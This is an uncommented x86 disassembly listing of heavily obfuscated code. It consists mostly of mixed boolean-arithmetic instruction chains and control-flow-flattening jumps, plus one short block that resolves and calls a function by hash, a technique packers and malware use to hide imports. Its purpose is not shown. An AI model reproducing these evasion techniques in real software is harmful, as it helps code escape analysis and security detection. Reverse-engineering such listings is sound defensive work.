mov ah, dl
and dl, al
xor ah, 1
and ch, ah
or ah, al
or dl, ch
mov al, ah
xor dl, 1
xor al, dl
or dl, ah
xor dl, 1
or dl, al
mov eax, edx
mov ah, dl
xor al, 1
and al, dl
xor al, 1
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, 1
mov ch, dl
mov ah, dl
and ch, al
and ah, ch
xor ch, dl
xor dl, al
or ch, ah
and dl, al
mov ah, ch
mov dh, ch
mov al, dl
xor ah, 1
xor al, 1
or dh, ah
mov bl, dh
mov bh, dh
mov cl, dh
xor bl, 1
and bh, bl
and cl, bh
xor bh, dh
or bh, cl
mov cl, bh
and bh, dl
or dl, bl
xor cl, 1
xor dl, 1
and cl, al
xor al, dh
or dl, al
or bh, cl
mov cl, ch
xor dl, 1
mov al, bh
and cl, ah
xor ah, ch
and al, dl
xor dl, bh
or ah, cl
or dl, al
mov cl, ah
mov al, dl
mov dh, dl
xor cl, 1
xor al, 1
mov ch, al
and ch, dl
xor ch, 1
xor dh, ch
or ch, dl
xor ch, 1
or ch, dh
mov dl, ch
and ch, cl
mov cl, al
xor dl, 1
and cl, ah
and dl, ah
xor ah, al
or ah, cl
or ch, dl
xor ah, 1
mov al, ch
and al, ah
xor ah, ch
or ah, al
mov al, ah
xor al, 1
mov ecx, eax
mov ch, al
or cl, ah
and ch, ah
mov edx, ecx
mov bl, ch
xor ch, al
xor dl, 1
and bl, al
mov dh, dl
or ch, bl
and dh, cl
xor cl, ah
mov ah, byte [esp]
mov bl, dh
xor dh, dl
and bl, dl
or dl, al
or dh, bl
xor dl, 1
xor dh, ch
mov ch, byte [esp + 0xc]
or dl, cl
xor dl, 1
mov al, dh
and al, dl
xor dl, dh
or dl, al
and ah, ch
mov al, ch
mov ebx, edx
mov dh, dl
mov bh, ah
xor bl, 1
xor bh, 1
and dh, bl
xor al, bh
or bh, ch
mov byte [esp + 4], dh
xor dh, 1
xor byte [esp + 4], bl
xor bh, 1
or bh, al
mov al, bh
xor al, 1
and bh, al
mov ch, al
and ch, bh
xor bh, al
or bh, ch
mov ch, byte [esp]
mov cl, ch
and cl, ah
xor ah, ch
mov ch, bl
or ah, cl
or ch, dh
mov cl, bh
xor ah, dl
xor ch, 1
xor cl, 1
or ah, bl
xor bl, dh
or dh, dl
or ch, bl
xor dh, 1
mov bl, byte [esp]
and cl, ch
xor ch, 1
or dh, byte [esp + 4]
and ch, bh
or ch, cl
mov cl, al
xor al, dl
and cl, dl
or al, cl
mov cl, al
xor cl, ch
xor ch, 1
or ch, al
mov al, byte [esp + 0xc]
xor cl, 1
xor ch, 1
or ch, cl
and al, dh
xor dh, 1
and dh, bl
or dh, al
xor bl, dh
and bl, dh
mov al, bl
xor al, 1
mov cl, al
mov edx, eax
and cl, bl
and dl, cl
xor cl, al
or cl, dl
mov al, cl
xor cl, 1
and cl, ah
xor ah, 1
and al, ah
or cl, al
mov al, ah
xor al, bl
or bl, ah
xor bl, 1
or bl, al
mov eax, ecx
xor bl, 1
and al, bl
xor bl, cl
mov cl, ch
or bl, al
mov eax, ebx
xor cl, bl
xor al, 1
mov edx, ecx
and bl, al
xor dl, ch
xor bl, 1
and dl, cl
mov cl, bl
or bl, al
xor cl, al
xor bl, 1
or bl, cl
xor bl, dl
xor bl, ch
mov ecx, 0x3e03d04c
and dl, bl
mov eax, ebx
xor al, dl
test al, 1
cmovne edi, ecx
test bl, 1
mov ecx, 0x2390a206
cmovne ecx, edi
test dl, 1
mov edx, dword [esp + 0x54]
cmove ecx, edi
mov dword [esp + 0x14c], edx
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
push 0x8aafdc01
push dword [0x4d0d98]
call fcn.00421dc0
add esp, 8
mov dword [esp + 0x100], eax
lea eax, [esp + 0x74]
mov dword [esp + 0x104], eax
mov edx, eax
mov eax, dword [esp + 0x104]
mov dword [esp + 0x74], 0
mov eax, dword [esp + 0x98]
mov ecx, dword [esp + 0x100]
push edx
push 2
push dword [eax]
push dword [esp + 0x8c]
call ecx
mov ecx, 0xc1fcd16
mov dword [esp + 0x48], 0
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
mov eax, dword [esp + 0x94]
mov ecx, dword [esp + 0x80]
mov eax, dword [eax + 0x1c]
mov edx, dword [esp + 0xe4]
add ecx, dword [edx]
mov edx, dword [esp + 0xfc]
sub dword [edx + ecx], eax
mov eax, dword [esp + 0x80]
mov ecx, dword [esp + 0xe4]
mov ecx, dword [ecx]
mov edx, dword [esp + 0xfc]
add ecx, eax
add dword [edx + ecx], eax
mov ecx, 0x608e8c6
cmp ecx, 0xc1fcd15
jg 0x430b10
jmp 0x42f66c
movzx eax, byte [esp + 0x11f]
mov dword [esp + 0xc], eax
mov eax, dword [0x4d0db4]
lea ecx, [eax - 1]
imul ecx, eax
mov edx, ecx
mov edi, ecx
mov esi, ecx
mov dword [esp], ecx
not edx
and edi, 0xd7be3b81
mov eax, edx
mov ebp, edx
and edx, ecx
and eax, 0x2841c47e
mov dword [esp + 4], ebp
or edi, eax
xor edi, 0xd7be3b81
mov eax, edi
xor edi, edx
and eax, edx
or edi, eax
mov ecx, edi
and edi, 0x61635b90
not ecx
mov eax, ecx
and ecx, 0x908b48df
and eax, 0x9e9ca46f
or eax, edi
mov edi, ebp
xor eax, 0xf1e8134f
and edi, 0x6f74b720
or ecx, eax
mov eax, esi
and eax, 0x908b48df
or eax, edi
not eax
or eax, ebp
mov edi, eax
not edi
and edi, ecx
not ecx
mov ebx, ecx
xor ebx, eax
and eax, ecx
and ebx, ecx
or eax, edi
mov edi, ebx
and ebx, 0xfd6d7246
not edi
mov ecx, edi
and ecx, 0x2928db9
or ebx, ecx
mov ecx, eax
and eax, 0xfd6d7246
not ecx
or edi, ecx
and ecx, 0x2928db9
or eax, ecx
not edi
xor eax, ebx
or edi, eax
mov eax, edi
or edi, 0x6f74b720
not eax
mov ecx, edi
and edi, 0x3b4b5bc0
or eax, 0x908b48df
not ecx
mov ebx, eax
and ecx, 0x8080001f
and eax, 0x3b4b5bc0
not ebx
or ecx, edi
and ebx, 0x4434a420
or ebx, eax
xor ebx, ecx
mov eax, ebx
and ebx, 0xa9a640f5
not eax
and eax, 0x5659bf0a
or ebx, eax
mov eax, ebx
and ebx, 0x8694afba
not eax
and eax, 0x796b5045
or ebx, eax
mov eax, ebx
mov ecx, ebx
xor ebx, 0xc741ada3
xor ecx, 0x2a00c742
xor eax, 0xd0cd10b0
and ebx, eax
and ecx, 0xaa85d7f2
and eax, 0x557a280d
or eax, ecx
mov ecx, eax
xor eax, 0xbd096ae1
xor ecx, 0x557a280d
and eax, ecx
mov ecx, eax
and ecx, ebx
xor ebx, eax
or ebx, ecx
mov eax, ebx
not ebx
and eax, 0x34aef59b
and ebx, 0xcb510a64
or ebx, eax
mov esi, ebx
and ebx, 0xdcddb777
not esi
mov eax, esi
and eax, 0x23224888
or ebx, eax
mov eax, ebp
and eax, edx
xor edx, ebp
xor esi, ebx
or edx, eax
and esi, ebx
mov eax, edx
mov ecx, edx
and edx, 0xe9abdca9
mov edi, esi
not eax
and ecx, 0xc61c6d1
and edi, 0x4d519743
and eax, 0xf39e392e
or ecx, eax
mov eax, ecx
mov ebx, ecx
xor ecx, 0xd094282e
xor eax, 0xc61c6d1
xor ebx, 0xe5ca1a78
and ecx, 0xd8b42aaf
and ebx, eax
mov ebp, ebx
and ebp, edx
xor edx, ebx
or edx, ebp
mov ebx, edx
and edx, 0xf552f332
not ebx
and ebx, 0xaad0ccd
or edx, ebx
mov ebx, eax
and eax, 0x23224888
and ebx, 0x274bd550
or ebx, ecx
mov ecx, edx
xor edx, 0x3fdb6713
xor ebx, 0xfb966227
xor ecx, 0xc0049004
or eax, ebx
mov ebx, edx
and ecx, 0xfd84d417
and ebx, 0x27b2be8
or edx, eax
or ecx, ebx
mov ebx, eax
and eax, 0x27b2be8
not edx
not ebx
and ebx, 0xfd84d417
or ebx, eax
xor ebx, ecx
or edx, ebx
mov eax, edx
xor eax, 0x5eb3ae3
and eax, edx
not edx
and edx, 0x5eb3ae3
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
and eax, 0x5eb3ae3
not ecx
and ecx, 0xfa14c51c
or eax, ecx
mov ecx, eax
and eax, 0x8721da24
not ecx
and ecx, 0x78de25db
or eax, ecx
mov ebp, eax
xor eax, 0x18120480
xor ebp, 0x82219204
and eax, 0x1d124ca0
and ebp, 0xe2edb35f
or ebp, eax
mov eax, esi
or esi, 0x854c890e
not eax
mov edx, ebp
mov ebx, ebp
xor ebp, 0x985ec5ae
mov ecx, eax
xor edx, 0xe2edb35f
xor ebx, 0x1d124ca0
and ecx, 0xb2ae68bc
and ebp, ebx
and ebx, 0x4d519743
or edi, ecx
mov ecx, edx
and edx, 0x854c890e
and ecx, 0xb2ae68bc
or ebx, ecx
mov ecx, esi
and esi, 0x2e57a2b0
xor ebx, edi
not ecx
not ebx
and ecx, 0x50a05441
or ebx, eax
or eax, 0x7ab376f1
or ecx, esi
mov esi, eax
and eax, 0x2e57a2b0
not esi
and esi, 0x8108090e
or esi, eax
mov eax, ebp
and eax, edx
xor edx, ebp
xor esi, ecx
mov ebp, ebx
or edx, eax
mov eax, esi
not ebp
not eax
and eax, edx
not edx
and edx, esi
or edx, eax
mov eax, ebx
xor ebx, 0x96bd8a9
and ebx, ebp
and eax, 0xb6f8f712
and ebp, 0x490708ed
mov edi, edx
or ebp, eax
mov eax, edx
and edi, 0x87c8efb1
and edx, 0x96bd8a9
not eax
mov ecx, ebp
and eax, 0x7837104e
xor ecx, 0x490708ed
or edi, eax
mov eax, ebp
mov dword [esp + 8], ecx
xor ebp, 0xb6f8f712
xor eax, 0x406cd044
and eax, ecx
mov esi, eax
and esi, ebx
xor ebx, eax
mov eax, edi
or ebx, esi
mov esi, edi
xor eax, 0x87c8efb1
xor edi, 0x7837104e
xor esi, 0x8ea33718
and esi, eax
and eax, 0xaff08d7c
mov ecx, esi
and ecx, edx
xor edx, esi
mov esi, dword [esp + 8]
or edx, ecx
mov ecx, ebx
not ecx
and ecx, edx
not edx
and edx, ebx
and esi, 0xaff08d7c
or edx, ecx
mov ecx, ebp
or ebp, edi
and edi, 0x500f7283
and ecx, 0x500f7283
or eax, edi
not ebp
mov edi, edx
and edx, 0xe2a07a9c
or esi, ecx
not edi
xor eax, esi
or ebp, eax
mov eax, ebp
and ebp, 0xa6df229
not eax
and eax, 0xf5920dd6
or ebp, eax
mov eax, edi
and eax, 0x1d5f8563
or edx, eax
mov eax, ebp
xor ebp, 0xf5920dd6
xor eax, 0x2207208
or edi, ebp
and ebp, 0x1d5f8563
and eax, 0xe2a07a9c
not edi
or eax, ebp
xor eax, edx
or edi, eax
mov eax, edi
not eax
mov ecx, eax
mov edx, eax
and ecx, edi
xor edi, 0x12a6ba41
and edx, ecx
xor ecx, eax
and eax, 0xed5945be
or ecx, edx
or edi, eax
mov edx, ecx
and ecx, 0xc43e01bc
mov esi, edi
not edx
and esi, 0x359cdec7
and edx, 0x3bc1fe43
or edx, ecx
mov ecx, edx
xor edx, 0x3bc1fe43
xor ecx, 0x29674402
and edx, ecx
mov eax, edx
and edx, 0x725c3189
not eax
mov ecx, eax
or eax, 0xd5b93d06
and ecx, 0x8da3ce76
or edx, ecx
mov ecx, edi
xor edi, 0x2a46c2f9
mov ebp, edx
not ecx
xor edx, 0x581af370
xor ebp, 0x725c3189
and edi, ecx
and ecx, 0xca632138
and edx, ebp
or ecx, esi
mov esi, edx
and edx, 0x998669e3
not esi
mov ebx, esi
or esi, eax
and ebx, 0x6679961c
not esi
or edx, ebx
mov ebx, eax
and eax, 0x6679961c
not ebx
and ebx, 0x80640e1
or ebx, eax
xor ebx, edx
or esi, ebx
mov ebx, ecx
xor ecx, 0xe025e3c1
xor ebx, 0xca632138
and ecx, ebx
mov eax, ecx
and eax, edi
xor edi, ecx
or edi, eax
mov eax, esi
not eax
and eax, edi
not edi
and edi, esi
or edi, eax
mov eax, ebp
and eax, ebx
xor ebx, ebp
or ebx, eax
mov eax, ebx
and ebx, 0x8940c5e
not eax
and eax, 0xf76bf3a1
or ebx, eax
mov eax, edi
xor ebx, 0x8940c5e
and eax, ebx
xor ebx, edi
or ebx, eax
mov eax, ebx
and ebx, 0x17f5a7ba
not eax
mov ecx, eax
or eax, 0xfa11e15a
and ecx, 0xe80a5845
mov ebp, eax
and eax, 0x420fee51
or ebx, ecx
not ebp
mov ecx, ebx
xor ebx, 0x40004040
and ebp, 0x5e010a4
xor ecx, 0x1010010a
or ebx, 0xe0e01
or ebp, eax
and ebx, 0x420fee51
and ecx, 0xb810010a
or ecx, ebx
xor ebp, ecx
mov eax, ebp
and ebp, 0xcb951392
not eax
and eax, 0x346aec6d
or ebp, eax
mov ebx, ebp
mov edx, ebp
mov eax, ebp
not ebx
xor edx, 0x3a13af44
and eax, 0x3a030740
mov edi, ebx
and edx, ebp
and ebp, 0x4cee86d9
and edi, 0xb3117926
or edi, ebp
xor edi, 0xb3117926
or edi, ebx
and ebx, 0x10a804
or eax, ebx
xor eax, 0x3a030740
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
mov eax, edx
and edx, 0x5b35c878
not eax
and eax, 0xa4ca3787
or edx, eax
mov eax, edx
xor edx, 0x1c409002
xor eax, 0x60044634
and edx, 0x1d62b10a
and eax, 0xe29d4ef5
or eax, edx
mov esi, eax
xor eax, 0x1840210a
xor esi, 0x62054051
and eax, 0x98d82fae
and esi, 0x6727d051
or esi, eax
mov eax, edi
mov edx, esi
xor esi, 0x80402f26
not eax
xor edx, 0x6727d051
and esi, 0xc1433f27
mov ebx, eax
mov ecx, edx
and ebx, 0x4d340ecc
and edx, 0xe85c86c6
and ecx, 0x3ebcc0d8
or ecx, esi
mov esi, edi
xor edi, 0xe85c86c6
and esi, 0xb2cbf133
and edi, eax
xor ecx, 0x3ebcc0d8
or ebx, esi
mov esi, ecx
mov eax, ebx
xor ebx, 0xa568880a
xor eax, 0x4d340ecc
and ebx, eax
and esi, eax
xor eax, ecx
and ecx, 0x17a37939
or edx, ecx
mov ecx, ebx
or eax, esi
mov esi, dword [esp]
and ecx, edi
xor edi, ebx
mov ebx, dword [esp + 4]
or edi, ecx
mov ecx, edx
not ecx
and ecx, edi
not edi
and edi, edx
or edi, ecx
mov ecx, eax
and eax, 0x934a9dcc
mov edx, edi
not ecx
and edi, 0xe53fd739
and ecx, 0x6cb56233
not edx
or eax, ecx
mov ecx, edx
and ecx, 0x1ac028c6
or edi, ecx
mov ecx, eax
xor eax, 0x6cb56233
xor ecx, 0x810a9508
or edx, eax
and eax, 0x1ac028c6
and ecx, 0xe53fd739
not edx
or ecx, eax
mov eax, ebx
and ebx, 0xe8ba2e13
xor ecx, edi
mov edi, esi
and eax, 0x5ed603ed
and edi, 0xa129fc12
or edx, ecx
or edi, eax
mov eax, edi
xor edi, 0x5ed603ed
mov ecx, edi
xor eax, 0x80291c12
and edi, 0x1745d1ec
and eax, 0xc23f1f3a
and ecx, 0x3dc0e0c5
or ecx, eax
xor ecx, 0xd57aced6
or edi, ecx
mov ecx, esi
mov eax, edi
xor ecx, 0x1745d1ec
or ecx, ebx
not eax
mov esi, eax
mov ebx, ecx
mov dword [esp], ecx
mov ecx, edi
xor edi, 0x2fbf4b41
and ecx, 0xd0d32130
and esi, 0x2f2cdecf
and edi, eax
mov eax, ebx
or esi, ecx
mov ecx, ebx
not eax
mov ebx, esi
xor esi, 0x93958e
xor ecx, 0x2fbf4b41
xor ebx, 0x2f2cdecf
and ecx, eax
and esi, ebx
mov eax, esi
and esi, 0xaf83868c
not eax
mov ebp, eax
and ebp, 0x507c7973
or esi, ebp
mov ebp, edi
and edi, 0xaf83868c
not ebp
or eax, ebp
and ebp, 0x507c7973
or edi, ebp
not eax
xor edi, esi
mov esi, ebx
or eax, edi
mov edi, dword [esp]
and esi, edi
xor ebx, edi
and edi, 0xd040b4be
mov ebp, edi
or ebx, esi
and ebp, ecx
xor ecx, edi
mov edi, eax
or ecx, ebp
not edi
and edi, ecx
not ecx
and ecx, eax
mov eax, ebx
and ebx, 0x89b4b81c
not eax
or ecx, edi
and eax, 0x764b47e3
mov esi, ecx
and ecx, 0x413ef34
or ebx, eax
not esi
mov eax, ebx
mov edi, esi
xor ebx, 0x764b47e3
xor eax, 0x10a814
or esi, ebx
and edi, 0xfbec10cb
and ebx, 0xfbec10cb
and eax, 0x413ef34
or ecx, edi
not esi
or eax, ebx
xor eax, ecx
or esi, eax
mov eax, esi
xor eax, 0x1745d1ec
and eax, esi
not esi
and esi, 0x1745d1ec
mov ecx, esi
and ecx, eax
xor eax, esi
mov esi, edx
or edx, 0x138fcbcc
or eax, ecx
not esi
mov edi, eax
mov ebx, esi
mov ecx, esi
or esi, 0xec703433
not edi
mov ebp, esi
and esi, 0x8e71c999
and ebx, edi
xor ecx, edi
and edi, 0x61e160ae
not ebp
or ecx, ebx
mov ebx, eax
and ebp, 0x118e0244
and eax, 0x138fcbcc
and ebx, 0x9e1e9f51
or ebp, esi
or ebx, edi
mov edi, ebx
xor ebx, 0x8d91549d
xor edi, 0x9e1e9f51
and ebx, edi
mov edi, edx
and edx, 0x8e71c999
not edi
mov esi, ebx
and edi, 0x60003422
and esi, eax
xor eax, ebx
or edi, edx
or eax, esi
mov edx, ecx
xor ebp, edi
not edx
mov esi, ebp
mov ebx, edx
not esi
and ebx, 0x70556b36
and esi, eax
not eax
and eax, ebp
or eax, esi
mov esi, ecx
xor ecx, 0xf955f5fe
and esi, 0x8faa94c9
and ecx, edx
mov edx, eax
or ebx, esi
mov esi, eax
and edx, 0xf4236bf1
and eax, 0xf955f5fe
not esi
xor ebx, 0x70556b36
and esi, 0xbdc940e
or edx, esi
mov esi, ebx
mov edi, edx
xor edx, 0xd769e0f
xor edi, 0xf4236bf1
and edx, edi
and esi, edi
xor edi, ebx
and ebx, 0x6aa0a01
mov ebp, ebx
or edi, esi
and ebp, ecx
xor ecx, ebx
mov ebx, edx
not edi
or ecx, ebp
and ebx, eax
xor eax, edx
mov ebp, dword [0x4d0db8]
or eax, ebx
mov ebx, ecx
not ebx
and ebx, eax
not eax
and eax, ecx
or eax, ebx
mov ecx, eax
and ecx, edi
xor edi, eax
or edi, ecx
mov ecx, edi
mov ebx, edi
or ecx, 0x328efa89
xor ebx, 0xcd710576
mov esi, ecx
mov eax, ecx
and ebx, edi
not esi
and eax, 0x27f9c458
and esi, 0xc8000126
or esi, eax
mov eax, ebx
and ebx, 0xd8063ba7
not eax
or ecx, eax
and eax, 0x27f9c458
or ebx, eax
not ecx
mov eax, edi
and edi, 0xc322649b
xor ebx, esi
not eax
or ecx, ebx
mov esi, ecx
and ecx, 0xd073e5d
not esi
and esi, 0xf2f8c1a2
or ecx, esi
mov esi, ecx
xor ecx, 0x358100c4
xor esi, 0x80523b01
and ecx, 0x75a500ee
and esi, 0x8a5aff11
or ecx, esi
mov esi, eax
and esi, 0x3cdd9b64
mov ebx, ecx
xor ecx, 0xa581811
or edi, esi
xor ebx, 0x75a500ee
and ecx, 0x4fd918f9
xor edi, 0xc322649b
mov esi, ebx
xor eax, edi
and eax, edi
mov edi, eax
and eax, 0xb026e706
not edi
xor esi, edi
and edi, 0x4fd918f9
and esi, ebx
and ebx, 0xb026e706
or eax, edi
or ebx, ecx
mov ecx, esi
and esi, 0x1a1237b0
xor eax, ebx
not ecx
mov edi, eax
mov ebx, ecx
and eax, 0x1a1237b0
not edi
and ebx, 0xe5edc84f
or ecx, edi
and edi, 0xe5edc84f
or esi, ebx
or eax, edi
not ecx
mov edi, 0x28068730
xor eax, esi
or ecx, eax
mov eax, ecx
and ecx, 0xc0227194
not eax
and eax, 0x3fdd8e6b
or eax, ecx
mov ecx, eax
xor eax, 0xdd40c00
xor ecx, 0x7104
and eax, 0xcdf60c90
and ecx, 0x3209f36f
or ecx, eax
mov eax, ecx
xor ecx, 0x3209f36f
mov esi, ecx
xor eax, 0xcdf60c90
and ecx, eax
and esi, 0x2c237b1c
and eax, 0xd3dc84e3
or eax, esi
xor eax, 0xd3dc84e3
mov esi, eax
xor eax, ecx
and esi, ecx
or eax, esi
mov esi, 0x686f7f3c
setne dl
sete byte [esp + 4]
cmp ebp, 9
setg ch
cmp ebp, 0xa
mov byte [esp + 8], dl
setl dh
mov bl, dh
xor bl, ch
mov eax, ebx
mov ah, bl
mov bh, bl
xor al, 1
and ah, al
or al, bl
mov byte [esp], al
mov al, bl
and bh, ah
xor ah, bl
xor al, dh
or ah, bh
xor al, 1
and ch, ah
xor ah, 1
mov ebx, eax
and ah, dh
xor bl, dh
or ah, ch
and bl, al
mov ch, ah
mov al, bl
not ch
not al
and ch, bl
and al, ah
or al, ch
mov ch, bl
xor ch, ah
or ah, bl
xor ah, 1
or ah, ch
mov ch, al
xor ah, 1
and ch, ah
xor ah, al
mov al, byte [esp + 4]
or ah, ch
mov byte [esp + 0x14], ah
xor al, dl
mov ch, al
xor ch, 1
and al, ch
mov dh, ch
and dh, al
xor al, ch
or al, dh
mov dh, al
xor dh, 1
mov cl, dh
mov ch, dh
and cl, al
and ch, cl
xor cl, dh
or cl, ch
mov ch, ah
mov ebx, ecx
xor ch, 1
xor bl, 1
mov byte [esp + 0x10], ch
mov bh, bl
or bh, cl
xor bh, 1
xor dh, bh
mov dl, bh
or bh, al
xor dl, cl
xor dh, 1
xor bh, 1
or bh, dh
xor dl, 1
mov dh, byte [esp + 8]
xor bh, 1
mov al, dl
and al, bh
xor bh, dl
or bh, al
mov al, bh
xor al, 1
and bh, al
mov dl, al
and dl, bh
xor bh, al
mov al, bl
or bh, dl
and al, cl
mov dl, bl
xor dl, al
xor al, 1
xor bh, dh
or al, cl
mov cl, byte [esp + 4]
xor al, 1
or al, dl
and cl, al
xor al, 1
and al, dh
or al, cl
mov cl, dh
and cl, bl
xor bl, dh
or bl, cl
mov cl, al
xor bl, 1
and cl, bl
xor bl, al
or bl, cl
mov al, bl
xor al, 1
mov cl, al
and cl, bl
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov edx, ecx
and cl, bh
xor bh, 1
xor dl, 1
mov al, bh
xor al, dl
and dl, bh
and al, bh
or dl, cl
mov cl, al
and cl, dl
xor dl, al
mov al, ah
or dl, cl
mov cl, ah
or al, ch
mov dh, dl
mov dl, al
xor cl, ch
xor dl, 1
and cl, ah
mov byte [esp + 0x18], dh
mov byte [esp + 8], dl
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
mov al, cl
xor cl, dl
and al, dl
or cl, al
mov al, cl
mov dl, cl
xor al, 1
and dl, ah
mov ah, dh
and al, ch
mov ch, dh
xor ah, 1
or dl, al
mov byte [esp + 0x28], ah
mov al, dl
or dl, cl
xor al, cl
xor dl, 1
or dl, al
mov al, ah
mov ebx, edx
mov dl, ch
or dl, ah
mov byte [esp + 0x34], bl
mov cl, dl
and al, dl
xor cl, 1
and cl, ch
or al, cl
mov cl, ch
xor ch, dl
and cl, dl
xor dl, ah
and dl, ah
or ch, cl
mov cl, dl
xor dl, al
and cl, al
xor al, 1
mov byte [esp + 0x1c], dl
mov byte [esp + 0x20], cl
mov cl, al
or al, ch
xor cl, ch
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
mov dh, cl
and dl, al
and dh, dl
xor dl, cl
or dl, dh
mov dh, al
or dh, cl
mov ah, dl
xor dl, 1
mov ch, dh
and dl, dh
xor ch, 1
and ah, ch
or dl, ah
mov ah, dh
xor dh, cl
and ah, cl
xor cl, al
or dh, ah
or cl, ch
mov ah, dh
xor ah, dl
xor dl, 1
or dl, dh
xor ah, 1
xor dl, 1
or dl, ah
mov eax, edx
mov ah, dl
xor al, 1
and ah, al
mov ch, ah
xor ah, dl
and ch, dl
or ah, ch
mov ch, cl
mov dh, ah
xor ch, 1
and ah, cl
xor cl, al
xor dh, 1
and dh, ch
or ch, dl
xor ch, 1
or ah, dh
or ch, cl
mov al, ah
xor ch, 1
and al, ch
xor ch, ah
or ch, al
and ch, 1
mov cl, ch
xor cl, 1
mov eax, ecx
mov edx, ecx
and al, ch
and dl, al
xor al, cl
or cl, ch
or al, dl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
mov edx, ecx
xor al, 1
and al, cl
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
or al, cl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
mov ecx, ebx
xor cl, 1
or al, dl
mov edx, ebx
and dl, cl
mov ch, cl
mov byte [esp + 0x2c], cl
mov ah, dl
xor ah, 1
xor ch, ah
or ah, cl
xor ah, 1
or ah, ch
mov ch, byte [esp]
mov bl, ch
mov dh, ch
mov cl, ch
xor bl, 1
and dh, bl
and cl, dh
xor dh, ch
mov ch, ah
xor ch, 1
or dh, cl
mov cl, ch
mov bh, ch
and cl, ah
and bh, cl
xor cl, ch
mov ch, dh
xor ch, 1
or cl, bh
mov bh, ch
mov byte [esp + 4], ch
and bh, dh
and byte [esp + 4], bh
xor bh, ch
mov ch, byte [esp]
or bh, byte [esp + 4]
xor bh, cl
mov cl, ah
xor cl, dh
or dh, ah
mov ah, byte [esp + 0x34]
xor dh, 1
or dh, cl
mov cl, dh
xor cl, bh
xor bh, 1
or bh, dh
xor cl, 1
xor bh, 1
or bh, cl
mov cl, ah
and cl, dl
xor dl, ah
or dl, cl
xor dl, bl
and bl, ah
xor dl, 1
mov cl, dl
xor cl, ch
and ch, byte [esp + 0x2c]
and cl, dl
mov edx, ecx
xor dl, 1
or ch, bl
and dl, cl
xor ch, 1
or ch, ah
mov ah, dl
xor dl, cl
and ah, cl
or dl, ah
mov ah, dl
and dl, ch
xor ch, 1
xor ah, 1
and ah, ch
or dl, ah
mov ah, cl
xor ah, ch
or ch, cl
mov cl, dl
xor ch, 1
or ch, ah
mov ah, bh
xor ch, 1
and cl, ch
xor ch, dl
mov dl, bh
or ch, cl
mov cl, bh
xor cl, 1
and ah, cl
xor dl, ah
xor ah, 1
or ah, cl
xor ah, 1
or ah, dl
mov dl, ah
mov dh, ah
and ah, ch
xor dl, 1
or dh, dl
and cl, dh
xor dh, 1
mov bl, dh
xor bl, bh
and bl, dh
and dh, bh
or dh, cl
mov cl, bl
and cl, dh
xor dh, bl
or dh, cl
mov cl, ch
xor cl, 1
mov ebx, ecx
mov bh, cl
and cl, dl
or dl, ch
or ah, cl
mov ecx, edx
or bl, dh
xor bh, dh
xor ah, 1
xor bh, 1
xor bl, 1
xor cl, ah
or ah, dl
and bh, dh
mov dh, bl
xor ah, 1
and dh, bh
xor bh, bl
or ah, cl
or bh, dh
mov cl, ah
mov ch, bh
xor cl, 1
and ah, cl
mov edx, ecx
and dl, ah
xor ah, cl
mov cl, bh
xor cl, 1
or ah, dl
mov edx, ecx
and dl, bh
xor dl, 1
xor ch, dl
or dl, bh
xor dl, 1
or dl, ch
mov ch, ah
or ah, bh
xor ch, 1
xor ah, 1
xor cl, ch
xor dl, ch
or ah, cl
mov cl, ah
xor cl, dl
xor dl, 1
or dl, ah
xor cl, 1
xor dl, 1
or dl, cl
mov ecx, eax
xor cl, 1
mov ch, cl
mov dh, cl
and ch, al
mov ah, ch
xor dh, ch
and ch, cl
or cl, al
xor ah, 1
or ch, dh
xor cl, 1
or ah, al
xor ch, cl
xor ah, 1
xor ch, 1
or ah, dh
mov dh, cl
or cl, al
xor dh, al
xor cl, 1
mov bl, ah
or ah, al
or cl, dh
xor bl, al
mov al, ch
xor ah, 1
xor cl, 1
or ah, bl
and al, cl
xor cl, ch
or cl, al
mov al, cl
xor al, 1
mov ch, al
mov dh, al
or al, cl
and ch, cl
xor dh, ch
xor ch, 1
or ch, cl
mov cl, ah
xor ch, 1
xor cl, 1
or ch, dh
mov dh, ah
mov byte [esp], cl
and dh, cl
xor dh, 1
mov bl, dh
or dh, cl
xor bl, cl
xor dh, 1
or dh, bl
mov bl, ah
mov bh, dh
or bl, cl
mov cl, ch
and dh, bl
xor bl, 1
xor bh, 1
and bh, bl
or dh, bh
mov bh, ah
xor bh, bl
or bl, ah
xor bl, 1
or bl, bh
mov bh, dh
xor bl, 1
and bh, bl
xor bl, dh
mov dh, ch
xor dh, 1
or bl, bh
xor cl, dh
mov byte [esp + 4], dh
mov dh, al
and cl, ch
xor dh, 1
mov bh, cl
xor bh, 1
and dh, bh
or bh, al
and al, cl
xor bh, 1
or al, dh
mov dh, byte [esp + 4]
mov cl, bh
and cl, al
xor al, bh
or al, cl
mov cl, al
xor cl, 1
or cl, bl
xor bl, 1
or bl, al
xor cl, 1
xor bl, 1
mov al, cl
and al, bl
xor bl, cl
mov cl, byte [esp]
or bl, al
mov al, dh
and al, ah
xor dh, cl
and cl, ch
or ch, ah
or cl, al
xor ch, 1
xor cl, 1
or ch, dh
mov eax, ecx
or cl, ch
xor al, ch
xor cl, 1
or cl, al
mov ah, cl
mov al, cl
mov ch, cl
xor ah, 1
and al, ah
xor ch, al
xor al, 1
or al, ah
or ah, bl
xor bl, 1
xor al, 1
xor ah, 1
or al, ch
mov ch, dl
xor al, bl
xor bl, cl
or ah, bl
mov cl, al
xor ah, 1
and cl, ah
xor ah, al
mov al, dl
or ah, cl
mov cl, dl
xor cl, 1
and ch, cl
and al, ch
xor ch, dl
or ch, al
mov al, ch
xor al, 1
and al, ch
mov dh, al
xor al, ch
and dh, ch
mov ch, ah
or al, dh
xor ch, 1
mov dh, al
xor al, 1
and dh, ch
and al, ah
or al, dh
xor al, 1
mov dh, al
xor al, ch
and dh, ch
or al, dh
mov dh, ah
or dh, ch
